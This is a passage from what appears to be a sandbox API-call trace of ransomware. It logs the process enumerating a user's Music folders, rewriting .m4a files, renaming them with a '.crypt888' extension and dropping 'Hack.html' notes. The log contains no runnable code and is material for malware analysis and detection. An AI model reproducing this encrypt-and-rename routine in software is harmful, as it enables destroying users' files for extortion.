nHFtV\\xJkdD41\\ISi-3ZAdokMRil9nbmN.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\r1xxda8olt\\d5b8q\\6woqk nhftv\\xjkdd41\\isi-3zadokmril9nbmn.m4a"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0083.348] GetFileType (hFile=0x174) returned 0x1 [0083.348] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebb8) returned 1 [0083.348] GetFileType (hFile=0x174) returned 0x1 [0083.348] WriteFile (in: hFile=0x174, lpBuffer=0x27f6620*, nNumberOfBytesToWrite=0xe210, lpNumberOfBytesWritten=0x39ec78, lpOverlapped=0x0 | out: lpBuffer=0x27f6620*, lpNumberOfBytesWritten=0x39ec78*=0xe210, lpOverlapped=0x0) returned 1 [0083.350] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r1xxDa8OLt\\d5b8q\\6WOqk nHFtV\\xJkdD41\\ISi-3ZAdokMRil9nbmN.m4a", nBufferLength=0x105, lpBuffer=0x39e800, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r1xxDa8OLt\\d5b8q\\6WOqk nHFtV\\xJkdD41\\ISi-3ZAdokMRil9nbmN.m4a", lpFilePart=0x0) returned 0x60 [0083.350] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r1xxDa8OLt\\d5b8q\\6WOqk nHFtV\\xJkdD41\\ISi-3ZAdokMRil9nbmN.m4a.crypt888", nBufferLength=0x105, lpBuffer=0x39e800, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r1xxDa8OLt\\d5b8q\\6WOqk nHFtV\\xJkdD41\\ISi-3ZAdokMRil9nbmN.m4a.crypt888", lpFilePart=0x0) returned 0x69 [0083.350] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec60) returned 1 [0083.350] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r1xxDa8OLt\\d5b8q\\6WOqk nHFtV\\xJkdD41\\ISi-3ZAdokMRil9nbmN.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\r1xxda8olt\\d5b8q\\6woqk nhftv\\xjkdd41\\isi-3zadokmril9nbmn.m4a"), fInfoLevelId=0x0, lpFileInformation=0x39ecdc | out: lpFileInformation=0x39ecdc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c480570, ftCreationTime.dwHighDateTime=0x1d4641b, ftLastAccessTime.dwLowDateTime=0x20404270, ftLastAccessTime.dwHighDateTime=0x1d45ce7, ftLastWriteTime.dwLowDateTime=0xc2e23d60, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0xe210)) returned 1 [0083.350] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec5c) returned 1 [0083.351] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r1xxDa8OLt\\d5b8q\\6WOqk nHFtV\\xJkdD41\\ISi-3ZAdokMRil9nbmN.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\r1xxda8olt\\d5b8q\\6woqk nhftv\\xjkdd41\\isi-3zadokmril9nbmn.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r1xxDa8OLt\\d5b8q\\6WOqk nHFtV\\xJkdD41\\ISi-3ZAdokMRil9nbmN.m4a.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\r1xxda8olt\\d5b8q\\6woqk nhftv\\xjkdd41\\isi-3zadokmril9nbmn.m4a.crypt888")) returned 1 [0083.352] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecc0) returned 1 [0083.352] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r1xxDa8OLt\\d5b8q\\6WOqk nHFtV\\xJkdD41\\7bjcB7rVH R1Nr", nBufferLength=0x105, lpBuffer=0x39e7c8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r1xxDa8OLt\\d5b8q\\6WOqk nHFtV\\xJkdD41\\7bjcB7rVH R1Nr", lpFilePart=0x0) returned 0x57 [0083.352] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r1xxDa8OLt\\d5b8q\\6WOqk nHFtV\\xJkdD41\\7bjcB7rVH R1Nr\\", nBufferLength=0x105, lpBuffer=0x39e79c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r1xxDa8OLt\\d5b8q\\6WOqk nHFtV\\xJkdD41\\7bjcB7rVH R1Nr\\", lpFilePart=0x0) returned 0x58 [0083.352] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r1xxDa8OLt\\d5b8q\\6WOqk nHFtV\\xJkdD41\\7bjcB7rVH R1Nr\\*", lpFindFileData=0x39e9e8 | out: lpFindFileData=0x39e9e8) returned 0x59a8a8 [0083.352] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0083.352] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0083.352] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0083.353] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 0 [0083.353] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0083.353] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec80) returned 1 [0083.353] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec8c) returned 1 [0083.353] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecc0) returned 1 [0083.353] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r1xxDa8OLt\\d5b8q\\6WOqk nHFtV\\xJkdD41\\7bjcB7rVH R1Nr", nBufferLength=0x105, lpBuffer=0x39e7c8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r1xxDa8OLt\\d5b8q\\6WOqk nHFtV\\xJkdD41\\7bjcB7rVH R1Nr", lpFilePart=0x0) returned 0x57 [0083.353] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r1xxDa8OLt\\d5b8q\\6WOqk nHFtV\\xJkdD41\\7bjcB7rVH R1Nr\\", nBufferLength=0x105, lpBuffer=0x39e79c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r1xxDa8OLt\\d5b8q\\6WOqk nHFtV\\xJkdD41\\7bjcB7rVH R1Nr\\", lpFilePart=0x0) returned 0x58 [0083.353] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r1xxDa8OLt\\d5b8q\\6WOqk nHFtV\\xJkdD41\\7bjcB7rVH R1Nr\\*", lpFindFileData=0x39e9e8 | out: lpFindFileData=0x39e9e8) returned 0x59a8a8 [0083.353] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0083.354] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0083.354] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0083.354] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 0 [0083.354] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0083.354] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec80) returned 1 [0083.354] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec8c) returned 1 [0083.355] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r1xxDa8OLt\\d5b8q\\6WOqk nHFtV\\xJkdD41\\7bjcB7rVH R1Nr\\kFM1TwE0aEjY.m4a", nBufferLength=0x105, lpBuffer=0x39e6ac, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r1xxDa8OLt\\d5b8q\\6WOqk nHFtV\\xJkdD41\\7bjcB7rVH R1Nr\\kFM1TwE0aEjY.m4a", lpFilePart=0x0) returned 0x68 [0083.355] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eba0) returned 1 [0083.355] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r1xxDa8OLt\\d5b8q\\6WOqk nHFtV\\xJkdD41\\7bjcB7rVH R1Nr\\kFM1TwE0aEjY.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\r1xxda8olt\\d5b8q\\6woqk nhftv\\xjkdd41\\7bjcb7rvh r1nr\\kfm1twe0aejy.m4a"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0083.355] GetFileType (hFile=0x174) returned 0x1 [0083.355] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb9c) returned 1 [0083.355] GetFileType (hFile=0x174) returned 0x1 [0083.355] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39eca8 | out: lpFileSizeHigh=0x39eca8*=0x0) returned 0xf10d [0083.355] ReadFile (in: hFile=0x174, lpBuffer=0x280732c, nNumberOfBytesToRead=0xf10d, lpNumberOfBytesRead=0x39ec54, lpOverlapped=0x0 | out: lpBuffer=0x280732c*, lpNumberOfBytesRead=0x39ec54*=0xf10d, lpOverlapped=0x0) returned 1 [0083.371] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r1xxDa8OLt\\d5b8q\\6WOqk nHFtV\\xJkdD41\\7bjcB7rVH R1Nr\\kFM1TwE0aEjY.m4a", nBufferLength=0x105, lpBuffer=0x39e694, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r1xxDa8OLt\\d5b8q\\6WOqk nHFtV\\xJkdD41\\7bjcB7rVH R1Nr\\kFM1TwE0aEjY.m4a", lpFilePart=0x0) returned 0x68 [0083.371] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eb88) returned 1 [0083.372] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r1xxDa8OLt\\d5b8q\\6WOqk nHFtV\\xJkdD41\\7bjcB7rVH R1Nr\\kFM1TwE0aEjY.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\r1xxda8olt\\d5b8q\\6woqk nhftv\\xjkdd41\\7bjcb7rvh r1nr\\kfm1twe0aejy.m4a"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0083.373] GetFileType (hFile=0x174) returned 0x1 [0083.373] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb84) returned 1 [0083.373] GetFileType (hFile=0x174) returned 0x1 [0083.373] WriteFile (in: hFile=0x174, lpBuffer=0x2881438*, nNumberOfBytesToWrite=0xf110, lpNumberOfBytesWritten=0x39ec44, lpOverlapped=0x0 | out: lpBuffer=0x2881438*, lpNumberOfBytesWritten=0x39ec44*=0xf110, lpOverlapped=0x0) returned 1 [0083.376] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r1xxDa8OLt\\d5b8q\\6WOqk nHFtV\\xJkdD41\\7bjcB7rVH R1Nr\\kFM1TwE0aEjY.m4a", nBufferLength=0x105, lpBuffer=0x39e7cc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r1xxDa8OLt\\d5b8q\\6WOqk nHFtV\\xJkdD41\\7bjcB7rVH R1Nr\\kFM1TwE0aEjY.m4a", lpFilePart=0x0) returned 0x68 [0083.376] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r1xxDa8OLt\\d5b8q\\6WOqk nHFtV\\xJkdD41\\7bjcB7rVH R1Nr\\kFM1TwE0aEjY.m4a.crypt888", nBufferLength=0x105, lpBuffer=0x39e7cc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r1xxDa8OLt\\d5b8q\\6WOqk nHFtV\\xJkdD41\\7bjcB7rVH R1Nr\\kFM1TwE0aEjY.m4a.crypt888", lpFilePart=0x0) returned 0x71 [0083.376] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec2c) returned 1 [0083.376] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r1xxDa8OLt\\d5b8q\\6WOqk nHFtV\\xJkdD41\\7bjcB7rVH R1Nr\\kFM1TwE0aEjY.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\r1xxda8olt\\d5b8q\\6woqk nhftv\\xjkdd41\\7bjcb7rvh r1nr\\kfm1twe0aejy.m4a"), fInfoLevelId=0x0, lpFileInformation=0x39eca8 | out: lpFileInformation=0x39eca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf5e95a0, ftCreationTime.dwHighDateTime=0x1d46062, ftLastAccessTime.dwLowDateTime=0x7f46ac60, ftLastAccessTime.dwHighDateTime=0x1d45890, ftLastWriteTime.dwLowDateTime=0xc2e49ec0, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0xf110)) returned 1 [0083.376] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec28) returned 1 [0083.376] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r1xxDa8OLt\\d5b8q\\6WOqk nHFtV\\xJkdD41\\7bjcB7rVH R1Nr\\kFM1TwE0aEjY.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\r1xxda8olt\\d5b8q\\6woqk nhftv\\xjkdd41\\7bjcb7rvh r1nr\\kfm1twe0aejy.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r1xxDa8OLt\\d5b8q\\6WOqk nHFtV\\xJkdD41\\7bjcB7rVH R1Nr\\kFM1TwE0aEjY.m4a.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\r1xxda8olt\\d5b8q\\6woqk nhftv\\xjkdd41\\7bjcb7rvh r1nr\\kfm1twe0aejy.m4a.crypt888")) returned 1 [0083.377] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r1xxDa8OLt\\d5b8q\\6WOqk nHFtV\\xJkdD41\\7bjcB7rVH R1Nr\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e6bc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r1xxDa8OLt\\d5b8q\\6WOqk nHFtV\\xJkdD41\\7bjcB7rVH R1Nr\\Hack.html", lpFilePart=0x0) returned 0x61 [0083.377] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebb0) returned 1 [0083.378] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r1xxDa8OLt\\d5b8q\\6WOqk nHFtV\\xJkdD41\\7bjcB7rVH R1Nr\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\r1xxda8olt\\d5b8q\\6woqk nhftv\\xjkdd41\\7bjcb7rvh r1nr\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0083.390] GetFileType (hFile=0x174) returned 0x1 [0083.390] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebac) returned 1 [0083.390] GetFileType (hFile=0x174) returned 0x1 [0083.390] WriteFile (in: hFile=0x174, lpBuffer=0x2892214*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ec2c, lpOverlapped=0x0 | out: lpBuffer=0x2892214*, lpNumberOfBytesWritten=0x39ec2c*=0xba, lpOverlapped=0x0) returned 1 [0083.392] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r1xxDa8OLt\\d5b8q\\6WOqk nHFtV\\xJkdD41\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e6f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r1xxDa8OLt\\d5b8q\\6WOqk nHFtV\\xJkdD41\\Hack.html", lpFilePart=0x0) returned 0x52 [0083.392] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebe4) returned 1 [0083.392] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r1xxDa8OLt\\d5b8q\\6WOqk nHFtV\\xJkdD41\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\r1xxda8olt\\d5b8q\\6woqk nhftv\\xjkdd41\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0083.392] GetFileType (hFile=0x174) returned 0x1 [0083.392] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebe0) returned 1 [0083.393] GetFileType (hFile=0x174) returned 0x1 [0083.393] WriteFile (in: hFile=0x174, lpBuffer=0x2894a64*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ec60, lpOverlapped=0x0 | out: lpBuffer=0x2894a64*, lpNumberOfBytesWritten=0x39ec60*=0xba, lpOverlapped=0x0) returned 1 [0083.394] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r1xxDa8OLt\\d5b8q\\6WOqk nHFtV\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e724, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r1xxDa8OLt\\d5b8q\\6WOqk nHFtV\\Hack.html", lpFilePart=0x0) returned 0x4a [0083.394] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec18) returned 1 [0083.394] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r1xxDa8OLt\\d5b8q\\6WOqk nHFtV\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\r1xxda8olt\\d5b8q\\6woqk nhftv\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0083.395] GetFileType (hFile=0x174) returned 0x1 [0083.395] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec14) returned 1 [0083.395] GetFileType (hFile=0x174) returned 0x1 [0083.395] WriteFile (in: hFile=0x174, lpBuffer=0x2897294*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ec94, lpOverlapped=0x0 | out: lpBuffer=0x2897294*, lpNumberOfBytesWritten=0x39ec94*=0xba, lpOverlapped=0x0) returned 1 [0083.402] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed28) returned 1 [0083.402] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r1xxDa8OLt\\d5b8q\\revJcmu3wBWb", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r1xxDa8OLt\\d5b8q\\revJcmu3wBWb", lpFilePart=0x0) returned 0x41 [0083.402] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r1xxDa8OLt\\d5b8q\\revJcmu3wBWb\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r1xxDa8OLt\\d5b8q\\revJcmu3wBWb\\", lpFilePart=0x0) returned 0x42 [0083.402] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r1xxDa8OLt\\d5b8q\\revJcmu3wBWb\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a4e8 [0083.402] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0083.403] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0083.403] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0083.403] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0083.403] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0083.403] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0083.403] FindClose (in: hFindFile=0x59a4e8 | out: hFindFile=0x59a4e8) returned 1 [0083.404] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece8) returned 1 [0083.404] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf4) returned 1 [0083.404] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed28) returned 1 [0083.404] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r1xxDa8OLt\\d5b8q\\revJcmu3wBWb", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r1xxDa8OLt\\d5b8q\\revJcmu3wBWb", lpFilePart=0x0) returned 0x41 [0083.404] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r1xxDa8OLt\\d5b8q\\revJcmu3wBWb\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r1xxDa8OLt\\d5b8q\\revJcmu3wBWb\\", lpFilePart=0x0) returned 0x42 [0083.404] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r1xxDa8OLt\\d5b8q\\revJcmu3wBWb\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a4e8 [0083.404] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0083.404] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0083.405] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0083.405] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0083.405] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0083.405] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0083.405] FindClose (in: hFindFile=0x59a4e8 | out: hFindFile=0x59a4e8) returned 1 [0083.406] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece8) returned 1 [0083.406] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf4) returned 1 [0083.406] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r1xxDa8OLt\\d5b8q\\revJcmu3wBWb\\LFgFGZh2uH434lOTMjl.m4a", nBufferLength=0x105, lpBuffer=0x39e714, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r1xxDa8OLt\\d5b8q\\revJcmu3wBWb\\LFgFGZh2uH434lOTMjl.m4a", lpFilePart=0x0) returned 0x59 [0083.406] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec08) returned 1 [0083.406] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r1xxDa8OLt\\d5b8q\\revJcmu3wBWb\\LFgFGZh2uH434lOTMjl.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\r1xxda8olt\\d5b8q\\revjcmu3wbwb\\lfgfgzh2uh434lotmjl.m4a"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0083.406] GetFileType (hFile=0x174) returned 0x1 [0083.406] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec04) returned 1 [0083.406] GetFileType (hFile=0x174) returned 0x1 [0083.406] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed10 | out: lpFileSizeHigh=0x39ed10*=0x0) returned 0x10d7f [0083.406] ReadFile (in: hFile=0x174, lpBuffer=0x289ab60, nNumberOfBytesToRead=0x10d7f, lpNumberOfBytesRead=0x39ecbc, lpOverlapped=0x0 | out: lpBuffer=0x289ab60*, lpNumberOfBytesRead=0x39ecbc*=0x10d7f, lpOverlapped=0x0) returned 1 [0083.510] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r1xxDa8OLt\\d5b8q\\revJcmu3wBWb\\LFgFGZh2uH434lOTMjl.m4a", nBufferLength=0x105, lpBuffer=0x39e6fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r1xxDa8OLt\\d5b8q\\revJcmu3wBWb\\LFgFGZh2uH434lOTMjl.m4a", lpFilePart=0x0) returned 0x59 [0083.511] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebf0) returned 1 [0083.511] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r1xxDa8OLt\\d5b8q\\revJcmu3wBWb\\LFgFGZh2uH434lOTMjl.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\r1xxda8olt\\d5b8q\\revjcmu3wbwb\\lfgfgzh2uh434lotmjl.m4a"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0083.513] GetFileType (hFile=0x174) returned 0x1 [0083.513] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebec) returned 1 [0083.513] GetFileType (hFile=0x174) returned 0x1 [0083.513] WriteFile (in: hFile=0x174, lpBuffer=0x272bab8*, nNumberOfBytesToWrite=0x10d80, lpNumberOfBytesWritten=0x39ecac, lpOverlapped=0x0 | out: lpBuffer=0x272bab8*, lpNumberOfBytesWritten=0x39ecac*=0x10d80, lpOverlapped=0x0) returned 1 [0083.518] CloseHandle (hObject=0x174) returned 1 [0083.525] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r1xxDa8OLt\\d5b8q\\revJcmu3wBWb\\LFgFGZh2uH434lOTMjl.m4a", nBufferLength=0x105, lpBuffer=0x39e834, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r1xxDa8OLt\\d5b8q\\revJcmu3wBWb\\LFgFGZh2uH434lOTMjl.m4a", lpFilePart=0x0) returned 0x59 [0083.525] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r1xxDa8OLt\\d5b8q\\revJcmu3wBWb\\LFgFGZh2uH434lOTMjl.m4a.crypt888", nBufferLength=0x105, lpBuffer=0x39e834, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r1xxDa8OLt\\d5b8q\\revJcmu3wBWb\\LFgFGZh2uH434lOTMjl.m4a.crypt888", lpFilePart=0x0) returned 0x62 [0083.525] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec94) returned 1 [0083.525] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS 